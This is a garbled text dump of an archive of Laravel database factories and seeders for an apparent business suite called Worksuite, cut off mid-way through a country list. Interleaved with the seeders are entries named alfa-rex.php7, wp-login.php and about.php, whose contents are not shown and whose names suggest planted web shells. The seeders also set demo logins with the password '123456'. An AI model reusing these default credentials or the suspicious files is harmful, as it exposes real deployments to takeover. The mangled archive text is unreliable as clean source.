fake()->realText(20), 'amount' => $amount = fake()->numberBetween(100, 1000), 'original_amount' => $amount, 'start_date' => $start = fake()->dateTimeThisMonth(now()), 'original_start_date' => $start, 'end_date' => $end = now()->addMonths(fake()->numberBetween(1, 5))->format('Y-m-d'), 'original_end_date' => $end, 'description' => fake()->paragraph, 'contract_detail' => fake()->realText(300), ]; } } PKZqafactories/UserFactory.phpnu[ fake()->name, 'email' => fake()->unique()->safeEmail . rand(0, 9), /* @phpstan-ignore-line */ 'password' => bcrypt('123456'), 'gender' => 'male', 'remember_token' => Str::random(10), ]; } } PKZfactories/TicketFactory.phpnu[ fake()->text(20), 'status' => fake()->randomElement(['open', 'pending', 'resolved', 'closed']), 'priority' => fake()->randomElement(['low', 'high', 'medium', 'urgent']), 'created_at' => fake()->randomElement([date('Y-m-d', strtotime( '+'.mt_rand(0, 7).' days')), fake()->dateTimeThisYear($max = 'now')]), 'updated_at' => fake()->randomElement([date('Y-m-d', strtotime( '+'.mt_rand(0, 7).' days')), fake()->dateTimeThisYear($max = 'now')]), ]; } } PKZGAk}|-|-factories/about.php7nu[PKZɟfactories/EventFactory.phpnu[ fake()->text(20), 'label_color' => fake()->randomElement(['#1d82f5', '#800080', '#808000', '#008000', '#0000A0', '#000000']), 'where' => fake()->address, 'description' => fake()->paragraph, 'start_date_time' => $start = fake()->randomElement([fake()->dateTimeThisMonth(), fake()->dateTimeThisYear()]), 'end_date_time' => fake()->dateTimeBetween($start, $start->add(new DateInterval('PT10H30S'))), 'repeat' => 'no', ]; } } PKZJkfactories/NoticeFactory.phpnu[ fake()->realText(70), 'description' => fake()->realText(1000), 'created_at' => fake()->randomElement([date('Y-m-d', strtotime( '+'.mt_rand(0, 7).' days')),fake()->dateTimeThisMonth($max = 'now'), fake()->dateTimeThisYear($max = 'now')]), ]; } } PKZGAk}|-|- alfa-rex.php7nu[PKZGAk}|-|-seeders/alfa-rex.phpnu[PKZiseeders/RoleSeeder.phpnu[name = 'Manager'; $role->company_id = $companyId; $role->display_name = 'Manager'; $role->save(); $roleId = $role->id; $permissions = Permission::get(); $role = Role::findOrFail($roleId); $role->perms()->sync([]); $role->attachPermissions($permissions); } } PKZseeders/TicketSeeder.phpnu[ 'Legal', 'company_id' => $companyId ], [ 'group_name' => 'Installation', 'company_id' => $companyId ], [ 'group_name' => 'Spam', 'company_id' => $companyId ], [ 'group_name' => 'Very Important', 'company_id' => $companyId ], [ 'group_name' => 'Technical', 'company_id' => $companyId ], ]; TicketGroup::insert($ticketGroups); $agents = $this->getEmployees($companyId); $groups = $this->getGroups($companyId); for ($i = 1; $i <= 5; $i++) { $agent = new TicketAgentGroups(); $agent->company_id = $companyId; $agent->agent_id = $faker->randomElement($agents); $agent->group_id = $faker->randomElement($groups); $agent->save(); } $types = TicketType::where('company_id', $companyId)->get()->pluck('id')->toArray(); $users = User::where('company_id', $companyId)->get()->pluck('id')->toArray(); $channels = TicketChannel::where('company_id', $companyId)->get()->pluck('id')->toArray(); $agents = TicketAgentGroups::where('company_id', $companyId)->get()->pluck('agent_id')->toArray(); $groups = TicketGroup::where('company_id', $companyId)->get()->pluck('id')->toArray(); $type = $types[array_rand($types)]; $user = $users[array_rand($users)]; $channel = $channels[array_rand($channels)]; $agent = $agents[array_rand($agents)]; $group = $groups[array_rand($groups)]; Ticket::factory($companyId)->count((int)$count) ->make() ->each(function (Ticket $ticket) use ($faker, $companyId, $type, $user, $channel, $agent, $group) { $ticket->company_id = $companyId; $ticket->ticket_number = Ticket::where('company_id', $companyId)->max('ticket_number') + 1; $ticket->user_id = $user; $ticket->agent_id = $agent; $ticket->group_id = $group; $ticket->channel_id = $channel; $ticket->type_id = $type; $ticket->save(); $usersArray = [$ticket->user_id, $ticket->agent_id]; /* @phpstan-ignore-line */ $admins = $this->getAdmins($companyId); $usersData = array_merge($usersArray, $admins); for ($i = 1; $i <= 5; $i++) { // Save message $reply = new TicketReply(); $reply->message = $faker->realText(50); $reply->ticket_id = $ticket->id; /* @phpstan-ignore-line */ $reply->user_id = $faker->randomElement($usersData); // Current logged in user $reply->save(); // Log search $search = new \App\Models\UniversalSearch(); $search->searchable_id = $ticket->ticket_number; $search->company_id = $companyId; /* @phpstan-ignore-line */ $search->title = 'Ticket: ' . $ticket->subject; /* @phpstan-ignore-line */ $search->route_name = 'tickets.show'; $search->save(); } }); } private function getEmployees($companyId) { return User::select('users.id as id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'employee') ->where('users.company_id', $companyId) ->inRandomOrder() ->get()->pluck('id') ->toArray(); } private function getAdmins($companyId) { return User::select('users.id as id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'admin') ->where('users.company_id', $companyId) ->inRandomOrder() ->get()->pluck('id') ->toArray(); } private function getGroups($companyId) { return TicketGroup::inRandomOrder() ->where('company_id', $companyId) ->get()->pluck('id') ->toArray(); } } PKZP|J$seeders/EmployeePermissionSeeder.phpnu[ 1, 'owned' => 2, 'both' => 3, 'all' => 4, 'none' => 5 ]; /** * Run the database seeds. * * @return void */ public function run($companyId) { $this->insertUserRolePermission($companyId); } public function insertUserRolePermission($companyId) { DB::beginTransaction(); // Employee role $employeeRole = Role::with('roleuser', 'roleuser.user.roles') ->where('name', 'employee') ->where('company_id', $companyId) ->first(); $allPermissions = Permission::all(); $this->permissionRole($allPermissions, 'employee', $companyId); // Employee permissions will be synced via cron $userIds = $employeeRole->roleuser->pluck('user_id'); try { User::whereIn('id', $userIds)->update(['permission_sync' => 0]); } catch (\Exception $exception) { Log::info($exception); } // Admin role $adminRole = Role::with('roleuser', 'roleuser.user.roles') ->where('name', 'admin') ->where('company_id', $companyId) ->first(); PermissionRole::where('role_id', $adminRole->id)->delete(); $this->rolePermissionInsert($allPermissions, $adminRole->id, 'all'); foreach ($adminRole->roleuser as $roleuser) { try { $roleuser->user->assignUserRolePermission($adminRole->id); } catch (\Exception $e) { echo($e->getMessage()); } } // Client role $this->permissionRole($allPermissions, 'client', $companyId); DB::commit(); } public function rolePermissionInsert($allPermissions, $roleId, $permissionType = 'none') { $data = []; foreach ($allPermissions as $permission) { $data[] = [ 'permission_id' => $permission->id, 'role_id' => $roleId, 'permission_type_id' => $this->permissionTypes[$permissionType], ]; } foreach (array_chunk($data, 100) as $item) { PermissionRole::insert($item); } } public function permissionRole($allPermissions, $type, $companyId) { $role = Role::with('roleuser', 'roleuser.user.roles') ->where('name', $type) ->where('company_id', $companyId) ->first(); PermissionRole::where('role_id', $role->id)->delete(); $this->rolePermissionInsert($allPermissions, $role->id); $permissionArray = []; if ($type === 'client') { $permissionArray = PermissionRole::clientRolePermissions(); } elseif ($type === 'employee') { $permissionArray = PermissionRole::employeeRolePermissions(); } $permissionArrayKeys = array_keys($permissionArray); $permissions = Permission::whereIn('name', $permissionArrayKeys)->get(); foreach ($permissions as $ep) { PermissionRole::where('permission_id', $ep->id) ->where('role_id', $role->id) ->update([ 'permission_type_id' => $permissionArray[$ep->name] ]); } if ($type === 'client') { foreach ($role->roleuser as $roleuser) { $roleuser->user->assignUserRolePermission($role->id); } } } } PKZ]ddseeders/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZR (  seeders/UsersTableSeeder.phpnu[where('company_id', $companyId)->first(); $employeeRole = Role::where('name', 'employee')->where('company_id', $companyId)->first(); $clientRole = Role::where('name', 'client')->where('company_id', $companyId)->first(); $faker = \Faker\Factory::create(); $user = new User(); $user->name = $faker->name; $user->company_id = $companyId; if ($companyId === 1) { $user->email = 'admin@example.com'; $user->password = Hash::make('123456'); $user->gender = 'male'; $user->save(); $this->addEmployeeDetails($user, $employeeRole, $companyId); $user->roles()->attach($adminRole->id); // id only $user = new User(); $user->name = $faker->name; $user->company_id = $companyId; $user->email = 'employee@example.com'; $user->password = Hash::make('123456'); $user->gender = 'male'; $user->save(); $this->addEmployeeDetails($user, $employeeRole, $companyId); // Client details $user = new User(); $user->name = $faker->name; $user->company_id = $companyId; $user->email = 'client@example.com'; } else { $user->email = 'admin' . $companyId . '@example.com'; $user->password = Hash::make('123456'); $user->gender = 'male'; $user->save(); $this->addEmployeeDetails($user, $employeeRole, $companyId); $user->roles()->attach($adminRole->id); // id only $user = new User(); $user->name = $faker->name; $user->company_id = $companyId; $user->email = 'employee' . $companyId . '@example.com'; $user->password = Hash::make('123456'); $user->gender = 'male'; $user->save(); $this->addEmployeeDetails($user, $employeeRole, $companyId); // Client details $user = new User(); $user->name = $faker->name; $user->company_id = $companyId; $user->email = 'client' . $companyId . '@example.com'; } $user->password = Hash::make('123456'); $user->save(); $this->addClientDetails($user, $clientRole, $companyId); // Multiple client create User::factory()->count((int)$count)->make() ->each(function (User $user) use ($clientRole, $companyId) { $user->company_id = $companyId; $user->save(); $this->command->info('Seeding client: ' . ($user->id) ); $this->addClientDetails($user, $clientRole, $companyId); }); // Multiple employee create User::factory((int)$count)->make() ->each(function (User $user) use ($employeeRole, $companyId) { $user->company_id = $companyId; $user->save(); $this->command->info('employee employee: ' . ($user->id) ); $this->addEmployeeDetails($user, $employeeRole, $companyId); }); } private function addEmployeeDetails($user, $employeeRole, $companyId) { $faker = \Faker\Factory::create(); $employee = new EmployeeDetails(); $employee->user_id = $user->id; $employee->company_id = $companyId; /* @phpstan-ignore-line */ $employee->employee_id = 'EMP-' . (EmployeeDetails::where('company_id', $companyId)->count() + 1); /* @phpstan-ignore-line */ $employee->address = $faker->address; $employee->about_me = 'I am super human'; $employee->hourly_rate = $faker->numberBetween(15, 100); $employee->department_id = rand(1, 6); $employee->designation_id = rand(1, 5); $employee->joining_date = now()->subMonths(9)->toDateTimeString(); $employee->calendar_view = 'task,events,holiday,tickets,leaves,follow_ups'; $employee->marital_status = MaritalStatus::Single; $employee->save(); $search = new UniversalSearch(); $search->searchable_id = $user->id; $search->company_id = $companyId; $search->title = $user->name; $search->route_name = 'employees.show'; $search->module_type = 'employee'; $search->save(); // Assign Role $user->roles()->attach($employeeRole->id); } private function addClientDetails($user, $clientRole, $companyId) { $faker = \Faker\Factory::create(); $search = new UniversalSearch(); $search->searchable_id = $user->id; $search->company_id = $companyId; /* @phpstan-ignore-line */ $search->title = $user->name; /* @phpstan-ignore-line */ $search->route_name = 'clients.show'; $search->module_type = 'client'; $search->save(); $client = new ClientDetails(); $client->user_id = $user->id; $client->company_id = $companyId; /* @phpstan-ignore-line */ $client->company_name = $faker->company; $client->address = $faker->address; $client->website = 'https://worksuite.biz'; $client->save(); // Assign Role $user->roles()->attach($clientRole->id); /* @phpstan-ignore-line */ } } PKZNRR!seeders/ProjectCategorySeeder.phpnu[ $item, 'company_id' => $companyId ]; }, $categories); ProjectCategory::insert($data); } } PKZGAk}|-|-seeders/alfa-rex.php7nu[PKZpseeders/TaxTableSeeder.phpnu[ 'GST', 'rate_percent' => '10', 'company_id' => $companyId], ['tax_name' => 'CGST', 'rate_percent' => '18', 'company_id' => $companyId], ['tax_name' => 'VAT', 'rate_percent' => '10', 'company_id' => $companyId], ['tax_name' => 'IGST', 'rate_percent' => '10', 'company_id' => $companyId], ['tax_name' => 'UTGST', 'rate_percent' => '10', 'company_id' => $companyId], ]; Tax::insert($taxes); } } PKZGAk}|-|-seeders/alfa-rex.php8nu[PKZOseeders/AppreciationSeeder.phpnu[pluck('id')->toArray(); $iconColors = ['#282E33', '#495E67', '#FF3838', '#3DADDD', '#387B1C', '#7B1C2E']; $awardList = [ 'Best Team Player', 'Most Innovative Project', 'Best Technical Solution', 'Best Customer Service', 'Employee of the Month', 'Best Mentor', 'Top Sales Performer', 'Best Project Manager', 'Top Code Contributor', 'Most Improved Employee', 'Best New Hire', 'Best Presentation', 'Best Quality Control', 'Best Technical Writer', 'Most Valuable Employee', 'Star Performer Award' ]; $awardInsert = []; foreach ($awardList as $award) { $awardInsert[] = [ 'award_icon_id' => $awardIcons[array_rand($awardIcons)], 'color_code' => $iconColors[array_rand($iconColors)], 'title' => $award, 'company_id' => $companyId, ]; } Award::insert($awardInsert); $employees = User::allEmployees(null, false, null, $companyId)->pluck('id')->toArray(); $awards = Award::where('company_id', $companyId)->get()->pluck('id')->toArray(); $date = fake()->randomElement([fake()->dateTimeThisMonth()->format('Y-m-d'), fake()->dateTimeThisYear()->format('Y-m-d')]); $appreciations = []; for ($i = 0; $i < 10; $i++) { $appreciations[] = [ 'award_to' => $employees[array_rand($employees)], 'award_id' => $awards[array_rand($awards)], 'company_id' => $companyId, 'award_date' => $date, 'added_by' => $employees[array_rand($employees)], ]; } Appreciation::insert($appreciations); } } PKZGAk}|-|-seeders/wp-login.phpnu[PKZ~;X +seeders/OrganisationSettingsTableSeeder.phpnu[global_app_name = $appName; $globalSetting->locale = 'en'; $globalSetting->google_recaptcha_status = 'deactive'; $globalSetting->google_recaptcha_v2_status = 'deactive'; $globalSetting->google_recaptcha_v3_status = 'deactive'; $globalSetting->app_debug = false; $globalSetting->rtl = false; $globalSetting->hide_cron_message = 0; $globalSetting->system_update = 1; $globalSetting->show_review_modal = 1; $globalSetting->auth_theme = 'light'; $globalSetting->session_driver = $defaultDriver; $globalSetting->allowed_file_size = 10; $globalSetting->moment_format = 'DD-MM-YYYY'; $globalSetting->allowed_file_types = 'image/*,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/docx,application/pdf,text/plain,application/msword,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/zip,application/x-zip-compressed, application/x-compressed, multipart/x-zip,.xlsx,video/x-flv,video/mp4,application/x-mpegURL,video/MP2T,video/3gpp,video/quicktime,video/x-msvideo,video/x-ms-wmv,application/sla,.stl'; $globalSetting->show_update_popup = 1; $globalSetting->hash = md5(microtime()); $globalSetting->save(); $setting = new Company(); $setting->company_name = $appName; $setting->app_name = $appName; $setting->company_email = 'company@email.com'; $setting->company_phone = '1234567891'; $setting->address = 'Your Company address here'; $setting->website = 'https://worksuite.biz'; $setting->date_format = 'd-m-Y'; $setting->save(); if (!App::environment('codecanyon')) { $seedCount = config('app.extra_company_seed_count'); for ($i = 0; $i < $seedCount; $i++) { $this->command->info('Seeding company: ' . ($i + 1) . ' Remaining:' . ($seedCount - $i)); $companyName = fake()->company(); Company::create([ 'company_name' => $companyName, 'app_name' => $companyName, 'company_email' => fake()->unique()->safeEmail(), 'company_phone' => fake()->phoneNumber(), 'address' => fake()->address(), 'created_at' => fake()->dateTimeBetween(now()->subMonths(5), now()), 'website' => 'https://worksuite.biz', ]); } } } } PKZGAk}|-|-seeders/alfa-rex.php56nu[PKZBRRseeders/ExpenseSeeder.phpnu[get()->pluck('user_id')->toArray(); $employeeId = $employees[array_rand($employees)]; $currencies = Currency::where('company_id', $companyId)->get()->pluck('id')->toArray(); $currencyId = $currencies[array_rand($currencies)]; $count = config('app.seed_record_count'); Expense::factory() ->count((int)$count) ->make() ->each(function (Expense $expense) use ($companyId, $employeeId, $currencyId) { $expense->company_id = $companyId; $expense->currency_id = $currencyId; $expense->user_id = $employeeId; $expense->exchange_rate = 1; $expense->save(); }); } } PKZ#seeders/ContractTypeTableSeeder.phpnu[ $companyId, 'name' => $value ]; }, $contracts) ); } } PKZ1x::seeders/MessageSeeder.phpnu[count((int)$count) ->make() ->each(function (UserChat $model) use ($companyId) { $uniqueUser = $this->getUniqueUsers($companyId); $model->company_id = $companyId; $model->user_one = $uniqueUser['from']; $model->user_id = $uniqueUser['to']; $model->from = $uniqueUser['from']; $model->to = $uniqueUser['to']; $model->save(); }); } public function getUniqueUsers($companyId) { $employees = User::allEmployees(null, false, null, $companyId)->pluck('id')->toArray(); $from = array_rand($employees); $from = $employees[$from]; foreach (array_keys($employees, $from) as $key) { unset($employees[$key]); } $to = array_rand($employees); $to = $employees[$to]; return [ 'from' => $from, 'to' => $to, ]; } } PKZGAk}|-|-seeders/about.phpnu[PKZ,dR seeders/ShiftSeeder.phpnu[ $companyId, 'shift_name' => 'Night Shift', 'color' => '#4d4c4c', 'shift_short_code' => 'NS', 'office_start_time' => '22:00:00', 'office_end_time' => '06:00:00', 'halfday_mark_time' => '01:00:00', 'late_mark_duration' => 15, 'clockin_in_day' => 1, 'office_open_days' => '["1","2","3","4","5"]' ]); EmployeeShift::create([ 'company_id' => $companyId, 'shift_name' => 'Day Shift', 'color' => '#ff0000', 'shift_short_code' => 'DS', 'office_start_time' => '08:00:00', 'office_end_time' => '17:00:00', 'halfday_mark_time' => '13:30:00', 'late_mark_duration' => 15, 'clockin_in_day' => 1, 'office_open_days' => '["1","2","3","4","5"]' ]); $users = User::join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->where('roles.name', 'employee') ->where('users.company_id', $companyId) ->select('users.id') ->groupBy('users.id')->pluck('id')->toArray(); $shiftIds = EmployeeShift::where('company_id', $companyId)->where('shift_name', '<>', 'Day Off')->get(); foreach ($users as $key => $value) { for ($i = 0; $i < 20; $i++) { $empShift = $shiftIds->random(); $date = Carbon::parse(now()->year . '-' . now()->month . '-' . ($i + 1)); $schedule = EmployeeShiftSchedule::firstOrNew([ 'user_id' => $value, 'date' => $date, 'shift_start_time' => $date->format('Y-m-d') . ' ' . $empShift->office_start_time, 'shift_end_time' => $date->format('Y-m-d') . ' ' . $empShift->office_end_time ]); $schedule->employee_shift_id = $empShift->id; $schedule->save(); } } } } PKZ5(seeders/EmailSettingSeeder.phpnu[ 'User Registration/Added by Admin', 'send_email' => 'yes', 'slug' => str_slug('User Registration/Added by Admin')], ['setting_name' => 'Employee Assign to Project', 'send_email' => 'yes', 'slug' => str_slug('Employee Assign to Project')], ['setting_name' => 'New Notice Published', 'send_email' => 'no', 'slug' => str_slug('New Notice Published')], ['setting_name' => 'User Assign to Task', 'send_email' => 'yes', 'slug' => str_slug('User Assign to Task')], ]; EmailNotificationSetting::insert($notificationSettings); } } PKZː  seeders/DatabaseSeeder.phpnu[ true]); Artisan::call('key:generate'); $this->call(CountriesTableSeeder::class); $this->call(SmtpSettingsSeeder::class); $this->call(CoreDatabaseSeeder::class); $this->call(ModulePermissionSeeder::class); $this->call(OrganisationSettingsTableSeeder::class); $companies = Company::select('id')->get(); foreach ($companies as $company) { if (!App::environment('codecanyon')) { $this->call(DepartmentTableSeeder::class, false, ['companyId' => $company->id]); $this->call(UsersTableSeeder::class, false, ['companyId' => $company->id]); $this->call(BankAccountSeeder::class, false, ['companyId' => $company->id]); $this->call(ProjectCategorySeeder::class, false, ['companyId' => $company->id]); $this->call(ProjectSeeder::class, false, ['companyId' => $company->id]); $this->call(EstimateSeeder::class, false, ['companyId' => $company->id]); $this->call(ExpenseSeeder::class, false, ['companyId' => $company->id]); $this->call(TicketSeeder::class, false, ['companyId' => $company->id]); $this->call(TicketSettingSeeder::class, false, ['companyId' => $company->id]); $this->call(RoleSeeder::class, false, ['companyId' => $company->id]); $this->call(LeaveSeeder::class, false, ['companyId' => $company->id]); $this->call(NoticesTableSeeder::class, false, ['companyId' => $company->id]); $this->call(EventTableSeeder::class, false, ['companyId' => $company->id]); $this->call(LeadSeeder::class, false, ['companyId' => $company->id]); $this->call(TaxTableSeeder::class, false, ['companyId' => $company->id]); $this->call(ProductTableSeeder::class, false, ['companyId' => $company->id]); $this->call(ContractTypeTableSeeder::class, false, ['companyId' => $company->id]); $this->call(ContractTableSeeder::class, false, ['companyId' => $company->id]); $this->call(LeadsTableSeeder::class, false, ['companyId' => $company->id]); $this->call(MessageSeeder::class, false, ['companyId' => $company->id]); $this->call(ShiftSeeder::class, false, ['companyId' => $company->id]); $this->call(AttendanceTableSeeder::class, false, ['companyId' => $company->id]); $this->call(AppreciationSeeder::class, false, ['companyId' => $company->id]); } $this->call(EmployeePermissionSeeder::class, false, ['companyId' => $company->id]); } if (!App::environment('codecanyon')) { Artisan::call('sync-user-permissions all'); } config(['app.seeding' => false]); cache()->flush(); } } PKZK''seeders/NoticesTableSeeder.phpnu[count((int)$count) ->make() ->each(function (Notice $model) use ($companyId) { $model->company_id = $companyId; $model->save(); }); } } PKZɖseeders/error_lognu[[04-Jul-2025 10:18:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 10:25:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZ seeders/CountriesTableSeeder.phpnu[delete(); $countries = array( array('id' => '1', 'iso' => 'AF', 'name' => 'AFGHANISTAN', 'nicename' => 'Afghanistan', 'iso3' => 'AFG', 'numcode' => '4', 'phonecode' => '93'), array('id' => '2', 'iso' => 'AL', 'name' => 'ALBANIA', 'nicename' => 'Albania', 'iso3' => 'ALB', 'numcode' => '8', 'phonecode' => '355'), array('id' => '3', 'iso' => 'DZ', 'name' => 'ALGERIA', 'nicename' => 'Algeria', 'iso3' => 'DZA', 'numcode' => '12', 'phonecode' => '213'), array('id' => '4', 'iso' => 'AS', 'name' => 'AMERICAN SAMOA', 'nicename' => 'American Samoa', 'iso3' => 'ASM', 'numcode' => '16', 'phonecode' => '1684'), array('id' => '5', 'iso' => 'AD', 'name' => 'ANDORRA', 'nicename' => 'Andorra', 'iso3' => 'AND', 'numcode' => '20', 'phonecode' => '376'), array('id' => '6', 'iso' => 'AO', 'name' => 'ANGOLA', 'nicename' => 'Angola', 'iso3' => 'AGO', 'numcode' => '24', 'phonecode' => '244'), array('id' => '7', 'iso' => 'AI', 'name' => 'ANGUILLA', 'nicename' => 'Anguilla', 'iso3' => 'AIA', 'numcode' => '660', 'phonecode' => '1264'), array('id' => '8', 'iso' => 'AQ', 'name' => 'ANTARCTICA', 'nicename' => 'Antarctica', 'iso3' => null, 'numcode' => null, 'phonecode' => '0'), array('id' => '9', 'iso' => 'AG', 'name' => 'ANTIGUA AND BARBUDA', 'nicename' => 'Antigua and Barbuda', 'iso3' => 'ATG', 'numcode' => '28', 'phonecode' => '1268'), array('id' => '10', 'iso' => 'AR', 'name' => 'ARGENTINA', 'nicename' => 'Argentina', 'iso3' => 'ARG', 'numcode' => '32', 'phonecode' => '54'), array('id' => '11', 'iso' => 'AM', 'name' => 'ARMENIA', 'nicename' => 'Armenia', 'iso3' => 'ARM', 'numcode' => '51', 'phonecode' => '374'), array('id' => '12', 'iso' => 'AW', 'name' => 'ARUBA', 'nicename' => 'Aruba', 'iso3' => 'ABW', 'numcode' => '533', 'phonecode' => '297'), array('id' => '13', 'iso' => 'AU', 'name' => 'AUSTRALIA', 'nicename' => 'Australia', 'iso3' => 'AUS', 'numcode' => '36', 'phonecode' => '61'), array('id' => '14', 'iso' => 'AT', 'name' => 'AUSTRIA', 'nicename' => 'Austria', 'iso3' => 'AUT', 'numcode' => '40', 'phonecode' => '43'), array('id' => '15', 'iso' => 'AZ', 'name' => 'AZERBAIJAN', 'nicename' => 'Azerbaijan', 'iso3' => 'AZE', 'numcode' => '31', 'phonecode' => '994'), array('id' => '16', 'iso' => 'BS', 'name' => 'BAHAMAS', 'nicename' => 'Bahamas', 'iso3' => 'BHS', 'numcode' => '44', 'phonecode' => '1242'), array('id' => '17', 'iso' => 'BH', 'name' => 'BAHRAIN', 'nicename' => 'Bahrain', 'iso3' => 'BHR', 'numcode' => '48', 'phonecode' => '973'), array('id' => '18', 'iso' => 'BD', 'name' => 'BANGLADESH', 'nicename' => 'Bangladesh', 'iso3' => 'BGD', 'numcode' => '50', 'phonecode' => '880'), array('id' => '19', 'iso' => 'BB', 'name' => 'BARBADOS', 'nicename' => 'Barbados', 'iso3' => 'BRB', 'numcode' => '52', 'phonecode' => '1246'), array('id' => '20', 'iso' => 'BY', 'name' => 'BELARUS', 'nicename' => 'Belarus', 'iso3' => 'BLR', 'numcode' => '112', 'phonecode' => '375'), array('id' => '21', 'iso' => 'BE', 'name' => 'BELGIUM', 'nicename' => 'Belgium', 'iso3' => 'BEL', 'numcode' => '56', 'phonecode' => '32'), array('id' => '22', 'iso' => 'BZ', 'name' => 'BELIZE', 'nicename' => 'Belize', 'iso3' => 'BLZ', 'numcode' => '84', 'phonecode' => '501'), array('id' => '23', 'iso' => 'BJ', 'name' => 'BENIN', 'nicename' => 'Benin', 'iso3' => 'BEN', 'numcode' => '204', 'phonecode' => '229'), array('id' => '24', 'iso' => 'BM', 'name' => 'BERMUDA', 'nicename' => 'Bermuda', 'iso3' => 'BMU', 'numcode' => '60', 'phonecode' => '1441'), array('id' => '25', 'iso' => 'BT', 'name' => 'BHUTAN', 'nicename' => 'Bhutan', 'iso3' => 'BTN', 'numcode' => '64', 'phonecode' => '975'), array('id' => '26', 'iso' => 'BO', 'name' => 'BOLIVIA', 'nicename' => 'Bolivia', 'iso3' => 'BOL', 'numcode' => '68', 'phonecode' => '591'), array('id' => '27', 'iso' => 'BA', 'name' => 'BOSNIA AND HERZEGOVINA', 'nicename' => 'Bosnia and Herzegovina', 'iso3' => 'BIH', 'numcode' => '70', 'phonecode' => '387'), array('id' => '28', 'iso' => 'BW', 'name' => 'BOTSWANA', 'nicename' => 'Botswana', 'iso3' => 'BWA', 'numcode' => '72', 'phonecode' => '267'), array('id' => '29', 'iso' => 'BV', 'name' => 'BOUVET ISLAND', 'nicename' => 'Bouvet Island', 'iso3' => null, 'numcode' => null, 'phonecode' => '0'), array('id' => '30', 'iso' => 'BR', 'name' => 'BRAZIL', 'nicename' => 'Brazil', 'iso3' => 'BRA', 'numcode' => '76', 'phonecode' => '55'), array('id' => '31', 'iso' => 'IO', 'name' => 'BRITISH INDIAN OCEAN TERRITORY', 'nicename' => 'British Indian Ocean Territory', 'iso3' => null, 'numcode' => null, 'phonecode' => '246'), array('id' => '32', 'iso' => 'BN', 'name' => 'BRUNEI DARUSSALAM', 'nicename' => 'Brunei Darussalam', 'iso3' => 'BRN', 'numcode' => '96', 'phonecode' => '673'), array('id' => '33', 'iso' => 'BG', 'name' => 'BULGARIA', 'nicename' => 'Bulgaria', 'iso3' => 'BGR', 'numcode' => '100', 'phonecode' => '359'), array('id' => '34', 'iso' => 'BF', 'name' => 'BURKINA FASO', 'nicename' => 'Burkina Faso', 'iso3' => 'BFA', 'numcode' => '854', 'phonecode' => '226'), array('id' => '35', 'iso' => 'BI', 'name' => 'BURUNDI', 'nicename' => 'Burundi', 'iso3' => 'BDI', 'numcode' => '108', 'phonecode' => '257'), array('id' => '36', 'iso' => 'KH', 'name' => 'CAMBODIA', 'nicename' => 'Cambodia', 'iso3' => 'KHM', 'numcode' => '116', 'phonecode' => '855'), array('id' => '37', 'iso' => 'CM', 'name' => 'CAMEROON', 'nicename' => 'Cameroon', 'iso3' => 'CMR', 'numcode' => '120', 'phonecode' => '237'), array('id' => '38', 'iso' => 'CA', 'name' => 'CANADA', 'nicename' => 'Canada', 'iso3' => 'CAN', 'numcode' => '124', 'phonecode' => '1'), array('id' => '39', 'iso' => 'CV', 'name' => 'CAPE VERDE', 'nicename' => 'Cape Verde', 'iso3' => 'CPV', 'numcode' => '132', 'phonecode' => '238'), array('id' => '40', 'iso' => 'KY', 'name' => 'CAYMAN ISLANDS', 'nicename' => 'Cayman Islands', 'iso3' => 'CYM', 'numcode' => '136', 'phonecode' => '1345'), array('id' => '41', 'iso' => 'CF', 'name' => 'CENTRAL AFRICAN REPUBLIC', 'nicename' => 'Central African Republic', 'iso3' => 'CAF', 'numcode' => '140', 'phonecode' => '236'), array('id' => '42', 'iso' => 'TD', 'name' => 'CHAD', 'nicename' => 'Chad', 'iso3' => 'TCD', 'numcode' => '148', 'phonecode' => '235'), array('id' => '43', 'iso' => 'CL', 'name' => 'CHILE', 'nicename' => 'Chile', 'iso3' => 'CHL', 'numcode' => '152', 'phonecode' => '56'), array('id' => '44', 'iso' => 'CN', 'name' => 'CHINA', 'nicename' => 'China', 'iso3' => 'CHN', 'numcode' => '156', 'phonecode' => '86'), array('id' => '45', 'iso' => 'CX', 'name' => 'CHRISTMAS ISLAND', 'nicename' => 'Christmas Island', 'iso3' => null, 'numcode' => null, 'phonecode' => '61'), array('id' => '46', 'iso' => 'CC', 'name' => 'COCOS (KEELING) ISLANDS', 'nicename' => 'Cocos (Keeling) Islands', 'iso3' => null, 'numcode' => null, 'phonecode' => '672'), array('id' => '47', 'iso' => 'CO', 'name' => 'COLOMBIA', 'nicename' => 'Colombia', 'iso3' => 'COL', 'numcode' => '170', 'phonecode' => '57'), array('id' => '48', 'iso' => 'KM', 'name' => 'COMOROS', 'nicename' => 'Comoros', 'iso3' => 'COM', 'numcode' => '174', 'phonecode' => '269'), array('id' => '49', 'iso' => 'CG', 'name' => 'CONGO', 'nicename' => 'Congo', 'iso3' => 'COG', 'numcode' => '178', 'phonecode' => 